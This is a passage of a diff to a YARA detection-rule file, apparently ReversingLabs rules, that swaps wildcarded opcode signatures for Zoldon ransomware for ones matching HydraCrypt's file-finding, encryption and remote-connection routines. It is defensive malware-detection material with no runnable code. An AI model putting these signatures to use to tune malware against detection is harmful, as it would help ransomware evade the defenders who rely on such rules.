+            ?? 85 C0 75 ?? 46 83 FE ?? 7C ?? 33 C0 40 EB ?? 85 C0 75 ?? 8B 35 ?? ?? ?? ?? BB ??
+            ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 00 ?? 40 83 E9 ?? 75 ?? 53 56 FF 15 ??
+            ?? ?? ?? 85 C0 74 ?? 2B C6 D1 F8 74 ?? 85 C0 78 ?? 40 50 56 8D 85 ?? ?? ?? ?? 50 FF
+            15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 53 56 FF 15 ??
+            ?? ?? ?? 8B F0 85 F6 74 ?? 83 C6 ?? EB ?? 33 C0 5F 5E 5B C9 C3
         }
-		$find_files_p2 = {
-            83 C4 ?? 33 FF 8D 45 ?? 8D 50 ?? 90 8A 08 40 84 C9 75 ?? 2B C2 74 ?? EB ?? 8D 49 ??
-            0F BE 44 3D ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 88 44 3D ?? 47 8D 45 ?? 8D 50 ?? 8D A4 24
-            ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 2B C2 3B F8 72 ?? 8D 4D ?? 51 68 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8A 10 3A
-            11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB
-            ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52
-            E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 8D 50 ?? 8D A4 24 ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 2B
-            C2 80 7C 30 ?? ?? 74 ?? 8B C6 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 80 7C 30 ?? ?? 74
-            ?? 8D 85 ?? ?? ?? ?? 50 56 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 EB ?? 8D 95 ?? ?? ??
-            ?? 52 56 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 8B BD ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4
-            ?? 68 ?? ?? ?? ?? 6A ?? 8B 9D ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 53 57 8B 55 ??
-            52 8D BD ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ??
-            E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? C3 8B 65 ?? C7 45 ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? E9
-            ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B C6 8D 50 ?? 8B FF
+		$encrypt_files_p2 = {
+            55 8B EC 83 EC ?? 53 56 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 33 DB 53 FF 15 ?? ??
+            ?? ?? 8B F8 85 FF 75 ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5E 56 68 ?? ?? ??
+            ?? 53 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53
+            8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 8D 45
+            ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 8D 45 ?? 50
+            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 53 53 68 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 6A
+            ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 8B 45 ?? FF 70 ?? FF 15 ?? ?? ?? ?? 85 C0 75
+            ?? 6A ?? FF 15 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 8B 4D ??
+            8B D7 FF 75 ?? E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8B 45 ?? FF 70 ?? FF 15 ?? ?? ?? ??
+            8B 45 ?? B9 ?? ?? ?? ?? 83 48 ?? ?? 8B 45 ?? 8B 58 ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74
+            ?? 53 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 53 FF 15 ?? ?? ??
+            ?? 8B CE E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 49 ?? E8 ?? ?? ?? ?? FF
+            75 ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? FF
+            75 ?? FF 15 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B C9 C2
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($drop_ransom_note_p*)) and ( all of ($find_files_p*))
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Zoldon : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Hydracrypt : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Zoldon ransomware."
+		description = "Yara rule that detects HydraCrypt ransomware."
 		author = "ReversingLabs"
-		id = "5d28e6f0-9d6b-54f4-81ed-aadb58352c80"
+		id = "2e780f7c-8d6d-51c8-b65e-330cc3b17bb7"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Zoldon.yara#L1-L107"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "4821b8506e7ba00987978f2744da1c532e03d73f3275cb15e39cdf87f6018223"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.HydraCrypt.yara#L1-L174"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "910a6f23f06cecb8d3115ebfed42a66412dbd0d3a519e39f21df81b0c2028f48"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -36924,98 +38080,155 @@ rule REVERSINGLABS_Win32_Ransomware_Zoldon : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Zoldon"
+		tc_detection_name = "HydraCrypt"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$main_encrypt_function_p1 = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ??
-            ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 55 ?? 89 45 ??
-            8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30
-            64 89 20 E8 ?? ?? ?? ?? DD 5D ?? 9B 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? FF 75 ?? FF
-            75 ?? 8D 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? B2 ??
-            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B1 ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ??
-            3C ?? 0F 85 ?? ?? ?? ?? B0 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ??
-            84 C0 0F 85 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? C6
-            80 ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 66 C7 45
-        }
-		$main_encrypt_function_p2 = {
-            8D 85 ?? ?? ?? ?? 66 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? B9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 66 83 7D
-            ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 66 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 66 FF 45 ?? 66 83 7D
-            ?? ?? 75 ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ??
-            8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 95 ?? ?? ?? ?? 33 C9 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59
-            59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ??
-            E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
+		$remote_connection_1 = {
+            55 8B EC 83 EC ?? 53 56 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 BE ?? ?? ?? ?? 56
+            33 DB 53 53 6A ?? 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ??
+            59 59 53 53 6A ?? 53 53 6A ?? FF 75 ?? FF 75 ?? FF D0 89 45 ?? 3B C3 0F 84 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 56 53 53 68 ?? ?? ?? ?? FF 75 ?? 68
+            ?? ?? ?? ?? FF 75 ?? FF D0 89 45 ?? 3B C3 0F 84 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 6A ??
+            E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 6A ?? FF D0 8B F0 68 ?? ?? ?? ?? 56 E8 ?? ?? ??
+            ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? FF 75 ?? 56 E8 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ??
+            BF ?? ?? ?? ?? 57 89 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 56 50 57 FF 75 ?? E8 ?? ?? ?? ??
+            83 C4 ?? 5F 39 5D ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 39 5D ?? 74 ?? FF 75 ?? E8 ??
+            ?? ?? ?? 59 39 5D ?? 5E 5B 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 C9 C3
         }
-		$write_zoldon_regkey = {
-            55 8B EC 83 C4 ?? 53 56 33 DB 89 5D ?? 88 4D ?? 8B DA 8B F0 33 C0 55 68 ?? ?? ?? ??
-            64 FF 30 64 89 20 8D 45 ?? 8B D3 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D8 84 DB
-            75 ?? 8D 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 89 45 ?? 80 7D ??
-            ?? 74 ?? 83 7D ?? ?? 75 ?? 8D 45 ?? 50 8B 46 ?? 50 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50
-            8B D3 8B C6 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D0 8B C6 E8 ?? ?? ?? ?? 88 45 ?? EB
-            ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 8B 46 ?? 50 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 50 8B D3 8B C6 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D0 8B C6 E8 ?? ?? ?? ?? 88 45
-            ?? 80 7D ?? ?? 74 ?? 83 7E ?? ?? 0F 95 C0 84 D8 74 ?? FF 76 ?? 68 ?? ?? ?? ?? FF 75
-            ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 33
-            C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
+		$remote_connection_2 = {
+            55 8B EC 83 EC ?? 53 56 57 6A ?? 59 68 ?? ?? ?? ?? 33 DB BE ?? ?? ?? ?? 8D 7D ?? 6A
+            ?? 89 5D ?? F3 A5 E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 53 53 53 8D 4D ?? 51 FF D0 8B
+            F8 3B FB 75 ?? 33 C0 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 68
+            ?? ?? ?? ?? 53 53 FF 75 ?? 57 FF D0 8B F0 3B F3 75 ?? 53 E8 ?? ?? ?? ?? 59 EB ?? 68
+            ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 6A ?? 8D 4D ?? 51 FF D0 68 ?? ?? ?? ?? 6A ??
+            E8 ?? ?? ?? ?? 59 59 8D 4D ?? 51 6A ?? 8D 4D ?? 51 56 FF D0 39 5D ?? 75 ?? 57 E8 ??
+            ?? ?? ?? 56 E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 40 EB ?? 68 ?? ??
+            ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 4D ?? 51 FF D0 33 C9 3B C8 1B C0
+            F7 D8 5F 5E 5B C9 C3
         }
-		$find_files_p1 = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ??
-            ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 55 ??
-            89 45 ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ??
-            64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33
-            C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45
-            ?? 80 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
-            74 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ??
-            ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10
-            68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B
+		$remote_connection_3 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 33 DB 66 A5 53 8D
+            45 ?? 53 50 A4 E8 ?? ?? ?? ?? 59 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? BE ?? ?? ?? ?? 56 53 FF D0 56
+            50 89 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ??
+            ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? FF D0 BF ?? ?? ?? ?? 57 50 89 45 ?? E8 ?? ?? ??
+            ?? 59 59 85 DB 7E ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 59 8B C3 6A ?? 99 59
+            F7 F9 85 D2 75 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 6A ??
+            E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 8B 45 ?? 0F B6 04 03
+            50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ??
+            ?? ?? ?? 83 C4 ?? 43 3B DE 7C ?? E8 ?? ?? ?? ?? 8B F0 E8 ?? ?? ?? ?? 50 56 8D 85 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 83 C4 ?? 83 7D ?? ?? BB ?? ?? ?? ?? BE ?? ?? ??
+            ?? 75 ?? 53 56 57 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ??
+            75 ?? 53 56 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F
+            5E 5B C9 C3
         }
-		$find_files_p2 = {
-            8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E9
-            ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? B9 ??
-            ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? E9 ?? ??
-            ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D
-            55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ??
-            ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ??
-            ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
-            74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D
-            55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ??
-            ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ??
-            ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            85 C0 0F 84 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8B E5 5D C3
+		$encrypt_files_1 = {
+            8A 45 ?? 04 ?? 66 98 66 89 45 ?? 0F B7 C0 50 8D 45 ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 68
+            ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 FF D0 8B F0 83 FE ?? 74 ?? 83
+            FE ?? 74 ?? 83 FE ?? 75 ?? FF 75 ?? 8D 45 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 83 FE ?? 74 ?? 83 FE ?? 75 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 57 6A ?? E8 ?? ?? ??
+            ?? 59 59 68 ?? ?? ?? ?? FF D0 FF 45 ?? 83 7D ?? ?? 0F 8C ?? ?? ?? ?? 83 3D ?? ?? ??
+            ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 BE
+            ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 53 53 8D 8D ?? ?? ?? ?? 51 53 FF D0 8D 85
+            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8
+            ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ??
+            75 ?? E8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 FF D0 56 6A
+            ?? E8 ?? ?? ?? ?? 59 59 53 6A ?? 8D 8D ?? ?? ?? ?? 51 53 FF D0 8D 85 ?? ?? ?? ?? 50
+            8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83
+            C4 ?? 6A ?? 53 53 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 53 FF D0 57 6A ?? E8 ?? ?? ??
+            ?? 59 59 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 FF D0 5F
+            5E 33 C0 5B C9 C2
+        }
+		$encrypt_files_2 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 33 DB 66 A5 53 8D
+            45 ?? 53 50 A4 E8 ?? ?? ?? ?? 59 50 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7D ?? A5 A5 89
+            45 ?? 8D 45 ?? 50 66 A5 E8 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
+            ?? 89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 FF D0 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 66 A5 BE
+            ?? ?? ?? ?? 8D 7D ?? A5 A5 A5 53 89 45 ?? 8D 45 ?? 53 50 66 A5 E8 ?? ?? ?? ?? 59 50
+            E8 ?? ?? ?? ?? 8B F0 8D 45 ?? 50 E8 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            6A ?? 89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 6A ?? 8D 8D ?? ?? ?? ?? 51 53 FF D0 BF ??
+            ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 55 ?? 68 ??
+            ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 8D 8D ?? ?? ?? ?? 51 FF D0 68 ?? ?? ?? ??
+            6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 53 53 FF D0 8B F0 53 56 E8 ?? ?? ?? ?? 59
+            59 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 FF
+            D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF
+        }
+		$encrypt_files_3 = {
+            D0 E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ??
+            ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 85 C0 75 ?? BE ?? ?? ??
+            ?? EB ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? FF D0 56 E8 ?? ??
+            ?? ?? 59 3C ?? 75 ?? BE ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF D0 56 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D0
+            E8 ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF
+            D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF
+            D0 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ??
+            ?? ?? 83 C4 ?? 53 6A ?? 8D 8D ?? ?? ?? ?? 51 53 FF D0 68 ?? ?? ?? ?? 57 8D 85 ?? ??
+            ?? ?? 50 BE ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 FF 55 ?? 68 ?? ?? ?? ?? 57 8D 85 ??
+            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 56 50 FF 55 ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83
+            C4 ?? 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7D ?? A5 68 ?? ?? ??
